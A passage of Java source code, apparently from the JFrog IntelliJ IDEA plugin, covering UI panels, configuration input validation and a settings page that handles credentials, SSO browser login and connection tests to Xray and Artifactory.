unselected), show this in the UI. * * @param filterEnabled - True if one of the filters is applied. */ public void indicateFilterEnable(boolean filterEnabled) { this.filterEnabled = filterEnabled; if (filterEnabled) { setActiveForegroundColor(myNameLabel); } else { setInactiveForegroundColor(myNameLabel); } } /** * Create popup actions available under this filter. */ private void indicateFocusing() { addFocusListener(new FocusAdapter() { @Override public void focusGained(@NotNull FocusEvent e) { setBorder(createFocusedBorder()); } @Override public void focusLost(@NotNull FocusEvent e) { setBorder(createUnfocusedBorder()); } }); } private void showPopupMenuOnClick() { new ClickListener() { @Override public boolean onClick(@NotNull MouseEvent event, int clickCount) { showPopupMenu(); return true; } }.installOn(myNameLabel); } private void indicateHovering() { myNameLabel.addMouseListener(new MouseAdapter() { @Override public void mouseEntered(@NotNull MouseEvent e) { if (!filterEnabled) { setActiveForegroundColor(myNameLabel); } } @Override public void mouseExited(@NotNull MouseEvent e) { if (!filterEnabled) { setInactiveForegroundColor(myNameLabel); } } }); } private void showPopupMenu() { filterMenu.show(this, myNameLabel.getBounds().x, myNameLabel.getBounds().y + myNameLabel.getBounds().height); } private static Border createFocusedBorder() { return BorderFactory.createCompoundBorder(new RoundedLineBorder(UIUtil.getHeaderActiveColor(), 10, BORDER_SIZE), JBUI.Borders.empty(2)); } private static Border createUnfocusedBorder() { return BorderFactory.createCompoundBorder(BorderFactory.createEmptyBorder(BORDER_SIZE, BORDER_SIZE, BORDER_SIZE, BORDER_SIZE), JBUI.Borders.empty(2)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/ReferencesPane.java ================================================ package com.jfrog.ide.idea.ui.components; import com.intellij.ide.BrowserUtil; import com.intellij.ui.HyperlinkLabel; import com.intellij.util.ui.JBUI; import com.intellij.util.ui.UIUtil; import org.jdesktop.swingx.JXCollapsiblePane; import javax.swing.*; import java.awt.*; import java.util.List; import static com.jfrog.ide.idea.utils.Utils.isValidUrl; /** * Represents the expandable references view at the issue details panel. * * @author yahavi **/ public class ReferencesPane extends JPanel { private final JXCollapsiblePane references = new JXCollapsiblePane(JXCollapsiblePane.Direction.DOWN); public ReferencesPane(List references) { super(new GridBagLayout()); GridBagConstraints constraints = createConstraints(); initButton(constraints); constraints.gridy++; initReferences(references, constraints); setFocusable(false); setBackground(UIUtil.getTableBackground()); } /** * Create the grid bag constraints for the button and the references panel. * * @return grid bag constraints. */ private GridBagConstraints createConstraints() { return new GridBagConstraints(0, 0, 1, 1, 1.0, 0.0, GridBagConstraints.WEST, GridBagConstraints.NONE, JBUI.insets(-5, 0, 0, -5), 0, 0); } /** * Init the references panel according to the input list of references. * * @param references - The references list * @param constraints - The grib bag constraints */ @SuppressWarnings("UnstableApiUsage") private void initReferences(List references, GridBagConstraints constraints) { this.references.setCollapsed(true); for (String reference : references) { if (!isValidUrl(reference)) { continue; } HyperlinkLabel referenceLabel = new HyperlinkLabel(); referenceLabel.setTextWithHyperlink("" + reference + ""); referenceLabel.addHyperlinkListener(e -> BrowserUtil.browse(reference)); this.references.add(referenceLabel); } add(this.references, constraints); } /** * Init the collapse-expand button. * * @param constraints - The grib bag constraints */ private void initButton(GridBagConstraints constraints) { JButton collapseExpandButton = new JButton(references.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION)); collapseExpandButton.setText("Show/Hide References"); collapseExpandButton.setBorderPainted(false); Action toggleAction = references.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION); toggleAction.putValue(JXCollapsiblePane.COLLAPSE_ICON, UIManager.getIcon("Tree.expandedIcon")); toggleAction.putValue(JXCollapsiblePane.EXPAND_ICON, UIManager.getIcon("Tree.collapsedIcon")); add(collapseExpandButton, constraints); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/components/TitledPane.java ================================================ package com.jfrog.ide.idea.ui.components; import com.intellij.util.ui.UIUtil; import javax.swing.*; import java.awt.*; /** * Created by Yahav Itzhak on 13 Nov 2017. */ public class TitledPane extends JSplitPane { private final int location; /** * JSplitPane with a constant splitter location. * @param orientation JSplitPane.VERTICAL_SPLIT or JSplitPane.HORIZONTAL_SPLIT * @param location the location of the splitter * @param title the title * @param content the content */ public TitledPane(int orientation, int location, Component title, Component content) { super(orientation); this.location = location; setTopComponent(title); setBottomComponent(content); setDividerLocation(location); setBackground(UIUtil.getTableBackground()); setDividerSize(0); } @Override public int getDividerLocation() { return location ; } @Override public int getLastDividerLocation() { return location ; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/BuildsVerifier.java ================================================ package com.jfrog.ide.idea.ui.configuration; import javax.swing.*; import java.nio.file.FileSystems; import java.util.regex.PatternSyntaxException; /** * Input verifier for the "Builds pattern" field in the UI configuration. * This verifier make sure the input glob pattern is legal. * * @author yahavi **/ public class BuildsVerifier extends InputVerifier { private final JTextField buildsPattern; public BuildsVerifier(JTextField buildsPattern) { this.buildsPattern = buildsPattern; } // For JDK < 9 @SuppressWarnings("deprecation") public boolean shouldYieldFocus(JComponent input) { return shouldYieldFocus(input, null); } // For JDK >= 9 public boolean shouldYieldFocus(JComponent input, JComponent ignore) { if (verify(input)) { return true; } buildsPattern.setText(""); return false; } @Override public boolean verify(JComponent input) { try { FileSystems.getDefault().getPathMatcher("glob:" + buildsPattern.getText()); } catch (PatternSyntaxException e) { return false; } return true; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/ConfigVerificationUtils.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.openapi.options.ConfigurationException; import com.jfrog.ide.common.configuration.ServerConfig; import org.apache.commons.lang3.exception.ExceptionUtils; import org.apache.commons.lang3.StringUtils; import java.nio.file.FileSystems; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.regex.PatternSyntaxException; import static org.apache.commons.lang3.StringUtils.*; /** * @author yahavi **/ public class ConfigVerificationUtils { // Pattern: **/*{a, b, c ...}* OR **/*a* public static final String EXCLUSIONS_PREFIX = "**/*"; public static final String EXCLUSIONS_SUFFIX = "*"; public static String EXCLUSIONS_REGEX_PARSER = "^\\*\\*/\\*\\{([^{}]+)}\\*$"; public static Pattern EXCLUSIONS_REGEX_PATTERN = Pattern.compile(EXCLUSIONS_REGEX_PARSER); public static final String DEFAULT_EXCLUSIONS = EXCLUSIONS_PREFIX + "{.git,.idea,test,node_modules}" + EXCLUSIONS_SUFFIX; /** * Validate config project, watches and excluded paths before saving. * * @param policyType - The selected policy * @param project - JFrog platform project key * @param watches - Xray watches * @throws ConfigurationException if a field in the configuration is illegal. */ static void validateGlobalConfig(String excludedPaths, ServerConfig.PolicyType policyType, String project, String watches) throws ConfigurationException { if (policyType == ServerConfig.PolicyType.PROJECT) { validateProject(project); } if (illegalCharactersExist(project)) { throw new ConfigurationException("Illegal characters in project key"); } if (policyType == ServerConfig.PolicyType.WATCHES) { validateWatches(watches); } validateExcludedPaths(excludedPaths); } /** * Validate excluded paths field before saving. * * @param excludedPaths users' input parameter * @throws ConfigurationException if excludedPaths field in the configuration is illegal. */ private static void validateExcludedPaths(String excludedPaths) throws ConfigurationException { if (StringUtils.isNotBlank(excludedPaths)) { if (!StringUtils.startsWith(excludedPaths, EXCLUSIONS_PREFIX)) { throw new ConfigurationException("Excluded paths pattern must start with " + EXCLUSIONS_PREFIX); } if (!StringUtils.endsWith(excludedPaths, EXCLUSIONS_SUFFIX)) { throw new ConfigurationException("Excluded paths pattern must end with " + EXCLUSIONS_SUFFIX); } try { FileSystems.getDefault().getPathMatcher("glob:" + excludedPaths); } catch (PatternSyntaxException e) { throw new ConfigurationException(ExceptionUtils.getRootCauseMessage(e), "Excluded paths pattern must be a valid glob pattern"); } Matcher matcher = EXCLUSIONS_REGEX_PATTERN.matcher(excludedPaths); if (!matcher.find()) { if (excludedPaths.contains("{")) { throw new ConfigurationException("Excluded paths pattern can contain at most one pair of {}"); } } } } private static void validateProject(String project) throws ConfigurationException { if (isBlank(project)) { throw new ConfigurationException("Project key must be configured"); } } private static void validateWatches(String watches) throws ConfigurationException { if (isBlank(watches)) { throw new ConfigurationException("Watches must be configured"); } if (startsWith(watches, ",") || endsWith(watches, ",")) { throw new ConfigurationException("Watches list can't start or end with a delimiter"); } for (String part : split(watches, ",")) { if (isBlank(part)) { throw new ConfigurationException("Watch can't be empty"); } if (illegalCharactersExist(part)) { throw new ConfigurationException("Illegal characters in watch: " + part); } } } private static boolean illegalCharactersExist(String str) { return !str.matches("[\\w-.]*"); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/ConnectionRetriesSpinner.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.ide.ui.UINumericRange; import com.intellij.ui.JBIntSpinner; /** * @author yahavi */ public class ConnectionRetriesSpinner extends JBIntSpinner { public static final UINumericRange RANGE = new UINumericRange(3, 0, 9); public ConnectionRetriesSpinner() { super(RANGE); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/ConnectionTimeoutSpinner.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.intellij.ide.ui.UINumericRange; import com.intellij.ui.JBIntSpinner; /** * @author yahavi */ public class ConnectionTimeoutSpinner extends JBIntSpinner { public static final UINumericRange RANGE = new UINumericRange(300, 10, 3600); public ConnectionTimeoutSpinner() { super(RANGE); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogGlobalConfiguration.form ================================================

================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogGlobalConfiguration.java ================================================ package com.jfrog.ide.idea.ui.configuration; import com.google.common.collect.Sets; import com.intellij.icons.AllIcons; import com.intellij.ide.BrowserUtil; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.options.Configurable; import com.intellij.openapi.options.ConfigurationException; import com.intellij.ui.HyperlinkLabel; import com.intellij.ui.components.*; import com.intellij.util.Time; import com.intellij.util.ui.AsyncProcessIcon; import com.jfrog.ide.common.configuration.ServerConfig; import com.jfrog.ide.common.utils.XrayConnectionUtils; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.configuration.ServerConfigImpl; import com.jfrog.ide.idea.log.Logger; import com.jfrog.xray.client.Xray; import com.jfrog.xray.client.impl.XrayClientBuilder; import com.jfrog.xray.client.impl.util.JFrogInactiveEnvironmentException; import com.jfrog.xray.client.services.system.Version; import org.apache.commons.lang3.ObjectUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.http.conn.ssl.TrustAllStrategy; import org.apache.http.ssl.SSLContextBuilder; import org.jdesktop.swingx.JXCollapsiblePane; import org.jetbrains.annotations.Nls; import org.jetbrains.annotations.Nullable; import org.jfrog.build.client.ProxyConfiguration; import org.jfrog.build.extractor.clientConfiguration.ArtifactoryManagerBuilder; import org.jfrog.build.extractor.clientConfiguration.client.access.AccessManager; import org.jfrog.build.extractor.clientConfiguration.client.artifactory.ArtifactoryManager; import org.jfrog.build.extractor.clientConfiguration.client.response.CreateAccessTokenResponse; import javax.swing.*; import java.awt.event.ItemEvent; import java.io.IOException; import java.security.KeyManagementException; import java.security.KeyStoreException; import java.security.NoSuchAlgorithmException; import java.util.ArrayList; import java.util.List; import java.util.Set; import java.util.UUID; import static com.jfrog.ide.common.ci.Utils.createAqlForBuildArtifacts; import static com.jfrog.ide.common.utils.Utils.*; import static com.jfrog.ide.common.utils.XrayConnectionUtils.isSupportedInXrayVersion; import static com.jfrog.ide.common.utils.XrayConnectionUtils.testComponentPermission; import static com.jfrog.ide.idea.ui.configuration.ConfigVerificationUtils.DEFAULT_EXCLUSIONS; import static com.jfrog.ide.idea.ui.configuration.Utils.*; import static org.apache.commons.collections4.CollectionUtils.addIgnoreNull; import static org.apache.commons.lang3.StringUtils.*; /** * Created by romang on 1/29/17. */ public class JFrogGlobalConfiguration implements Configurable, Configurable.NoScroll { public static final String USER_AGENT = "jfrog-idea-plugin/" + JFrogGlobalConfiguration.class.getPackage().getImplementationVersion(); private static final String SSO_LOGIN_FAILURE = """ The SSO login option isn't available. Cause: %s Hints: 1. Ensure that the JFrog Platform URL is correct 2. The SSO login option is supported since Artifactory 7.64.0"""; // All UI components private Set connectionDetailsEnabledComponents, connectionDetailsVisibleComponents; private Set webLoginEnabledComponents, webLoginVisibleComponents; private Set allUiComponents; private static final int SSO_WAIT_BETWEEN_RETRIES_MILLIS = 2 * Time.SECOND; private static final int SSO_RETRIES = 30; private ServerConfigImpl serverConfig; // Tabs private JPanel connectionDetails, settings, advanced; // Connection types private JRadioButton ssoLoginSelection, setCredentialsManuallySelection; // Connection details private JLabel platformUrlTitle; private JBTextField platformUrl; private JLabel usernameTitle; private JBTextField username; private JLabel passwordTitle; private JBPasswordField password; private JLabel accessTokenTitle; private JBPasswordField accessToken; private JButton loginButton; private JLabel authenticationMethodTitle; // Test connection private JButton testConnectionButton; private JBLabel connectionResults; private HyperlinkLabel infoPanel; // Advanced button private JXCollapsiblePane setSeparately; private JButton advancedExpandButton; private JLabel artifactoryUrlTitle; private JBTextField artifactoryUrl; private JLabel xrayUrlTitle; private JBTextField xrayUrl; // Authentication types private JRadioButton usernamePasswordRadioButton, accessTokenRadioButton; // Settings tab private JBTextField project; private HyperlinkLabel projectInstructions, policyInstructions, watchInstructions; private JRadioButton allVulnerabilitiesRadioButton, accordingToProjectRadioButton, accordingToWatchesRadioButton; private JBTextField watches; // Advanced tab private ConnectionRetriesSpinner connectionRetries; private ConnectionTimeoutSpinner connectionTimeout; private JBTextField excludedPaths; private ActionLink scanOptionsRestoreDefaultsActionLink; private ActionLink connectionOptionsRestoreDefaultsActionLink; private JRadioButton downloadResourcesFromReleasesRadioButton; private JRadioButton downloadResourcesThroughArtifactoryRadioButton; private JLabel repositoryNameJLabel; private JBTextField repositoryNameJBTextField; private JLabel repositoryNameDescJLabel; private JBLabel pluginResourcesDescJBLabel; private JBLabel releasesRepoLinkJBLabel; private JBLabel ssoLoginInstructionsLabel; private JBTextArea ssoCode; private JLabel scannerBinaryVersionJLabel; private JBTextField scannerBinaryVersionJBTextField; private int selectedTabIndex; public JFrogGlobalConfiguration() { createComponent(); // Connection details initEnabledComponentSets(); initAuthenticationMethod(); initCredentialsTypeSelection(); initLoginViaBrowserButton(); initTestConnection(); initAdvancedExpandButton(); // Settings initPolicy(); initLinks(); // Advanced initConnectionOptionsRestoreDefaultsActionLink(); initScanOptionsRestoreDefaultsActionLink(); initPluginResourcesComponents(); loadConfig(); } @Nullable @Override public JComponent createComponent() { JTabbedPane tabbedPane = new JBTabbedPane(); tabbedPane.add("Connection Details", connectionDetails); tabbedPane.add("Settings", settings); tabbedPane.add("Advanced", advanced); tabbedPane.setSelectedIndex(selectedTabIndex); return tabbedPane; } public void selectSettingsTab() { selectedTabIndex = 1; } @Nls @Override public String getDisplayName() { return "JFrog Configuration"; } @Nullable @Override public String getHelpTopic() { return "Setup page for JFrog Xray and Artifactory connection details."; } @Override public boolean isModified() { return !createServerConfig().equals(GlobalSettings.getInstance().getServerConfig()); } @Override public void apply() throws ConfigurationException { serverConfig = createServerConfig(); ConfigVerificationUtils.validateGlobalConfig(serverConfig.getExcludedPaths(), serverConfig.getPolicyType(), serverConfig.getProject(), serverConfig.getWatches()); GlobalSettings.getInstance().updateConfig(serverConfig); } @Override public void reset() { loadConfig(); } /** * Initialize all UI components sets in order to show/hide them according to the user's choice. */ private void initEnabledComponentSets() { allUiComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl, xrayUrlTitle, xrayUrl, artifactoryUrlTitle, artifactoryUrl, username, password, accessTokenTitle, accessToken, accessTokenRadioButton, usernamePasswordRadioButton, loginButton, authenticationMethodTitle, usernameTitle, passwordTitle, advancedExpandButton, setSeparately, advancedExpandButton, ssoLoginInstructionsLabel, ssoCode); webLoginEnabledComponents = webLoginVisibleComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl, loginButton, ssoLoginInstructionsLabel, ssoCode); connectionDetailsEnabledComponents = connectionDetailsVisibleComponents = Sets.newHashSet(infoPanel, platformUrlTitle, platformUrl, authenticationMethodTitle, usernamePasswordRadioButton, accessTokenRadioButton, usernameTitle, username, passwordTitle, password, accessTokenTitle, accessToken, advancedExpandButton, setSeparately, artifactoryUrlTitle, artifactoryUrl, xrayUrlTitle, xrayUrl); } /** * Create the server config according to the configured data in the UI. * * @return a new server config. */ private ServerConfigImpl createServerConfig() { ServerConfigImpl.Builder builder = new ServerConfigImpl.Builder() .setConnectionType(getConnectionType()) .setUrl(platformUrl.getText()) .setArtifactoryUrl(artifactoryUrl.getText()) .setXrayUrl(xrayUrl.getText()) .setUsername(username.getText()) .setPassword(String.valueOf(password.getPassword())) .setAccessToken(String.valueOf(accessToken.getPassword())) .setExcludedPaths(excludedPaths.getText()) .setPolicyType(getPolicyType()) .setProject(project.getText()) .setWatches(watches.getText()) .setConnectionRetries(connectionRetries.getNumber()) .setConnectionTimeout(connectionTimeout.getNumber()); if (downloadResourcesThroughArtifactoryRadioButton.isSelected()) { builder.setExternalResourcesRepo(repositoryNameJBTextField.getText()); } String versionOverride = scannerBinaryVersionJBTextField.getText(); if (isNotBlank(versionOverride)) { builder.setScannerBinaryVersion(versionOverride.trim()); } return builder.build(); } /** * Get the selected policy type - Project, Watches or all vulnerabilities. * * @return the selected policy type. */ private ServerConfig.PolicyType getPolicyType() { if (accordingToProjectRadioButton.isSelected()) { return ServerConfig.PolicyType.PROJECT; } else if (accordingToWatchesRadioButton.isSelected()) { return ServerConfig.PolicyType.WATCHES; } return ServerConfig.PolicyType.VULNERABILITIES; } /** * Get the selected connection type - SSO or set the connection details manually. * * @return the selected connection type. */ private ServerConfigImpl.ConnectionType getConnectionType() { return setCredentialsManuallySelection.isSelected() ? ServerConfigImpl.ConnectionType.CONNECTION_DETAILS : ServerConfigImpl.ConnectionType.SSO; } /** * Load the config and populate the UI fields. */ private void loadConfig() { platformUrl.getEmptyText().setText("Example: https://acme.jfrog.io"); xrayUrl.getEmptyText().setText("Example: https://acme.jfrog.io/xray"); artifactoryUrl.getEmptyText().setText("Example: https://acme.jfrog.io/artifactory"); excludedPaths.getEmptyText().setText("Example: " + DEFAULT_EXCLUSIONS); watches.getEmptyText().setText("Example: watch-1,watch-2"); connectionResults.setText(""); serverConfig = GlobalSettings.getInstance().getServerConfig(); if (serverConfig != null) { updateConnectionDetailsTextFields(); updatePolicyTextFields(); excludedPaths.setText(serverConfig.getExcludedPaths()); project.setText(serverConfig.getProject()); watches.setText(serverConfig.getWatches()); connectionRetries.setValue(serverConfig.getConnectionRetries()); connectionTimeout.setValue(serverConfig.getConnectionTimeout()); if (!StringUtils.isEmpty(serverConfig.getExternalResourcesRepo())) { downloadResourcesThroughArtifactoryRadioButton.setSelected(true); repositoryNameJBTextField.setText(serverConfig.getExternalResourcesRepo()); } else { downloadResourcesFromReleasesRadioButton.setSelected(true); } scannerBinaryVersionJBTextField.setText(StringUtils.defaultString(serverConfig.getScannerBinaryVersion())); } else { clearText(platformUrl, xrayUrl, artifactoryUrl, username, password); excludedPaths.setText(DEFAULT_EXCLUSIONS); allVulnerabilitiesRadioButton.setSelected(true); project.setText(""); watches.setText(""); connectionRetries.setValue(ConnectionRetriesSpinner.RANGE.initial); connectionTimeout.setValue(ConnectionTimeoutSpinner.RANGE.initial); ssoLoginSelection.setSelected(true); downloadResourcesFromReleasesRadioButton.setSelected(true); scannerBinaryVersionJBTextField.setText(""); } updateExternalRepositoryFields(); initAuthMethodSelection(); } /** * Initialize the test connection button. */ private void initTestConnection() { testConnectionButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { List results = new ArrayList<>(); if (isBlank(platformUrl.getText()) && ssoLoginSelection.isSelected()) { results.add("JFrog platform URL is missing"); } else { addIgnoreNull(results, checkXrayConnection()); addIgnoreNull(results, checkArtifactoryConnection()); } setConnectionResults(String.join("
", results)); })); } /** * Check connection to Xray. * * @return empty string for success, the reason if failed. */ private String checkXrayConnection() { String url = resolveXrayUrl(xrayUrl.getText(), platformUrl.getText()); if (isBlank(url)) { return "Xray URL is missing."; } try { Xray xrayClient = createXrayClient(url); setConnectionResults("Connecting to Xray..."); connectionDetails.validate(); connectionDetails.repaint(); Version xrayVersion = xrayClient.system().version(); // Check version if (!isSupportedInXrayVersion(xrayVersion)) { return XrayConnectionUtils.Results.unsupported(xrayVersion); } // Check permissions Pair testComponentPermissionRes = testComponentPermission(xrayClient); if (!testComponentPermissionRes.getLeft()) { throw new IOException(testComponentPermissionRes.getRight()); } return XrayConnectionUtils.Results.success(xrayVersion); } catch (IOException exception) { if (exception instanceof JFrogInactiveEnvironmentException) { initHyperlinkLabel(infoPanel, "JFrog Platform is not active.\nClick here to activate it.", ((JFrogInactiveEnvironmentException) exception).getRedirectUrl()); } else { createConnectionResultsBalloon(getLoginErrorMessage(exception), testConnectionButton); } return "Could not connect to JFrog Xray."; } } /** * Check connection to Artifactory. * * @return empty string for success, the reason if failed. */ private String checkArtifactoryConnection() { String url = resolveArtifactoryUrl(artifactoryUrl.getText(), platformUrl.getText()); if (isBlank(url)) { return "Artifactory URL is missing."; } try (ArtifactoryManager artifactoryManager = createArtifactoryManagerBuilder(url).build()) { setConnectionResults("Connecting to Artifactory..."); connectionDetails.validate(); connectionDetails.repaint(); // Check connection. // This command will throw an exception if there is a connection or credentials issue. artifactoryManager.searchArtifactsByAql(createAqlForBuildArtifacts("*", "artifactory-build-info")); return "Successfully connected to Artifactory version: " + artifactoryManager.getVersion(); } catch (Exception exception) { return "Could not connect to JFrog Artifactory."; } } /** * Get the login error after a failing connection testing. * * @param e - the received exception * @return the login error to display. */ private String getLoginErrorMessage(Exception e) { String rootCause = substringBefore(ExceptionUtils.getRootCauseMessage(e), "<"); if (setCredentialsManuallySelection.isSelected()) { return rootCause; } return String.format(SSO_LOGIN_FAILURE, rootCause); } /** * Create an Xray client from the configured details in the UI. * * @param xrayUrl - The Xray URL * @return an Xray client. */ private Xray createXrayClient(String xrayUrl) { return (Xray) new XrayClientBuilder() .setUrl(xrayUrl) .setUserName(trim(username.getText())) .setPassword(String.valueOf(password.getPassword())) .setAccessToken(String.valueOf(accessToken.getPassword())) .setUserAgent(USER_AGENT) .setInsecureTls(serverConfig.isInsecureTls()) .setSslContext(serverConfig.getSslContext()) .setProxyConfiguration(serverConfig.getProxyConfForTargetUrl(xrayUrl)) .setLog(Logger.getInstance()) .build(); } /** * Create an Artifactory client from the configured details in the UI. * * @param artifactoryUrl - The Artifactory URL * @return an Xray client. */ private ArtifactoryManagerBuilder createArtifactoryManagerBuilder(String artifactoryUrl) throws KeyStoreException, NoSuchAlgorithmException, KeyManagementException { return new ArtifactoryManagerBuilder() .setServerUrl(artifactoryUrl) .setUsername(trim(username.getText())) .setPassword(String.valueOf(password.getPassword())) .setAccessToken(String.valueOf(accessToken.getPassword())) .setProxyConfiguration(serverConfig.getProxyConfForTargetUrl(artifactoryUrl)) .setLog(Logger.getInstance()) .setSslContext(createSSLContext(serverConfig)); } /** * Set the connection results panel. * * @param results - The connection results to set. */ private void setConnectionResults(String results) { if (results == null) { return; } connectionResults.setText("" + results + ""); } /** * Init the "Advanced" button that displays the panel of Artifactory and Xray URLs. */ private void initAdvancedExpandButton() { advancedExpandButton.setAction(setSeparately.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION)); advancedExpandButton.setText("Advanced"); Action toggleAction = setSeparately.getActionMap().get(JXCollapsiblePane.TOGGLE_ACTION); toggleAction.putValue(JXCollapsiblePane.COLLAPSE_ICON, UIManager.getIcon("Tree.expandedIcon")); toggleAction.putValue(JXCollapsiblePane.EXPAND_ICON, UIManager.getIcon("Tree.collapsedIcon")); } /** * Init the "Login" button that do the SSO login. */ private void initLoginViaBrowserButton() { ssoCode.setText(""); ssoLoginInstructionsLabel.setText(""); loginButton.setIcon(AllIcons.Ide.External_link_arrow); loginButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> { if (isBlank(platformUrl.getText())) { addRedBorder(platformUrl); return; } doSsoLogin(); })); } /** * Do the SSO login. */ private void doSsoLogin() { String uuid = UUID.randomUUID().toString(); String code = uuid.substring(uuid.length() - 4); ssoCode.setText(code); ssoLoginInstructionsLabel.setText("After logging in via your web browser, please enter the code if prompted: "); AsyncProcessIcon asyncProcessIcon = new AsyncProcessIcon("Connecting..."); clearText(artifactoryUrl, xrayUrl, accessToken, username, password); loginButton.setText(""); loginButton.setIcon(null); loginButton.add(asyncProcessIcon); loginButton.setEnabled(false); String urlStr = removeEnd(trim(platformUrl.getText()), "/") + "/access"; try (AccessManager accessManager = new AccessManager(urlStr, "", Logger.getInstance())) { ProxyConfiguration proxyConfiguration = serverConfig.getProxyConfForTargetUrl(urlStr); if (proxyConfiguration != null) { accessManager.setProxyConfiguration(proxyConfiguration); } accessManager.setSslContext(serverConfig.isInsecureTls() ? SSLContextBuilder.create().loadTrustMaterial(TrustAllStrategy.INSTANCE).build() : serverConfig.getSslContext()); Thread.sleep(SSO_WAIT_BETWEEN_RETRIES_MILLIS); accessManager.sendBrowserLoginRequest(uuid); BrowserUtil.browse(removeEnd(platformUrl.getText(), "/") + "/ui/login?jfClientSession=" + uuid + "&jfClientName=IDEA&jfClientCode=1"); for (int i = 0; i < SSO_RETRIES; i++) { CreateAccessTokenResponse response = accessManager.getBrowserLoginRequestToken(uuid); if (response != null) { accessToken.setText(response.getAccessToken()); return; } Thread.sleep(SSO_WAIT_BETWEEN_RETRIES_MILLIS); } } catch (Exception e) { Logger.getInstance().error(ExceptionUtils.getRootCauseMessage(e), e); } finally { if (accessToken.getPassword().length == 0) { createConnectionResultsBalloon(String.format(SSO_LOGIN_FAILURE, "Timeout"), testConnectionButton); } else { testConnectionButton.doClick(); } loginButton.remove(asyncProcessIcon); loginButton.setText("Login"); loginButton.setIcon(AllIcons.Ide.External_link_arrow); loginButton.setEnabled(true); ssoCode.setText(""); ssoLoginInstructionsLabel.setText(""); } } /** * Initialize the credentials type selection buttons. */ private void initCredentialsTypeSelection() { setCredentialsManuallySelection.addItemListener(e -> { enableAndShowFields(e, connectionDetailsEnabledComponents, connectionDetailsVisibleComponents); initAuthMethodSelection(); }); ssoLoginSelection.addItemListener(e -> enableAndShowFields(e, webLoginEnabledComponents, webLoginVisibleComponents)); } /** * Enable/Disable fields in the UI according to the selected values. * * @param event - The button event * @param enabledComponents - The components to enable/disable, according to the event * @param visibleComponents - The components to show/hide, according to the event */ private void enableAndShowFields(ItemEvent event, Set enabledComponents, Set visibleComponents) { JRadioButton cb = (JRadioButton) event.getSource(); allUiComponents.forEach(component -> { component.setEnabled(cb.isSelected() && enabledComponents.contains(component)); component.setVisible(cb.isSelected() && visibleComponents.contains(component)); }); } /** * Initialize the authentication method radio buttons. */ private void initAuthenticationMethod() { accessTokenRadioButton.addItemListener(e -> { JRadioButton accessTokenButton = (JRadioButton) e.getSource(); if (accessTokenButton.isSelected()) { accessToken.setEnabled(true); clearText(username, password); username.setEnabled(false); password.setEnabled(false); accessToken.setText(serverConfig.getAccessToken()); } else { username.setEnabled(true); password.setEnabled(true); clearText(accessToken); accessToken.setEnabled(false); username.setText(serverConfig.getUsername()); password.setText(serverConfig.getPassword()); } }); } /** * Initialize the auth method selection - access token or username and password. */ private void initAuthMethodSelection() { boolean isAccessMode = isNotBlank(new String(accessToken.getPassword())); usernamePasswordRadioButton.setSelected(!isAccessMode); accessTokenRadioButton.setSelected(isAccessMode); accessToken.setEnabled(isAccessMode); username.setEnabled(!isAccessMode); password.setEnabled(!isAccessMode); } /** * Update the connection details from to the loaded server config. */ void updateConnectionDetailsTextFields() { platformUrl.setText(serverConfig.getUrl()); xrayUrl.setText(serverConfig.getXrayUrl()); artifactoryUrl.setText(serverConfig.getArtifactoryUrl()); if (isNotBlank(serverConfig.getAccessToken()) && setCredentialsManuallySelection.isSelected()) { accessToken.setText(serverConfig.getAccessToken()); accessTokenRadioButton.setSelected(true); } else { username.setText(serverConfig.getUsername()); password.setText(serverConfig.getPassword()); } loadConnectionType(); } /** * Load the connection type field from the loaded server config. */ void loadConnectionType() { if (serverConfig.getConnectionType() == null) { // Keep legacy behavior setCredentialsManuallySelection.setSelected(true); return; } switch (serverConfig.getConnectionType()) { case SSO -> ssoLoginSelection.setSelected(true); case CONNECTION_DETAILS -> setCredentialsManuallySelection.setSelected(true); } } /** * Init the hyperlinks label in the "Settings" tab. */ private void initLinks() { initHyperlinkLabel(projectInstructions, "Create a JFrog Project, or obtain the relevant JFrog Project key.", "https://www.jfrog.com/confluence/display/JFROG/Projects"); initHyperlinkLabel(policyInstructions, "Create a Policy on JFrog Xray.", "https://www.jfrog.com/confluence/display/JFROG/Creating+Xray+Policies+and+Rules"); initHyperlinkLabel(watchInstructions, "Create a Watch on JFrog Xray and assign your Policy and Project as resources to it.", "https://www.jfrog.com/confluence/display/JFROG/Configuring+Xray+Watches"); } /** * Initialize the policy in the "Settings" tab. */ private void initPolicy() { accordingToWatchesRadioButton.addChangeListener(e -> { if (accordingToWatchesRadioButton.isSelected()) { watches.setEnabled(true); watches.setText(serverConfig.getWatches()); } else { watches.setEnabled(false); } }); } /** * Update the policy text fields according to the selected policy type. */ void updatePolicyTextFields() { switch (ObjectUtils.defaultIfNull(serverConfig.getPolicyType(), ServerConfig.PolicyType.VULNERABILITIES)) { case WATCHES -> { accordingToWatchesRadioButton.setSelected(true); watches.setEnabled(true); watches.setText(serverConfig.getWatches()); } case PROJECT -> { accordingToProjectRadioButton.setSelected(true); watches.setEnabled(false); } case VULNERABILITIES -> { allVulnerabilitiesRadioButton.setSelected(true); watches.setEnabled(false); } } } /** * Initialize the "Restore Defaults" button of the "Connection Options" section in the "Advanced" tab. */ private void initConnectionOptionsRestoreDefaultsActionLink() { 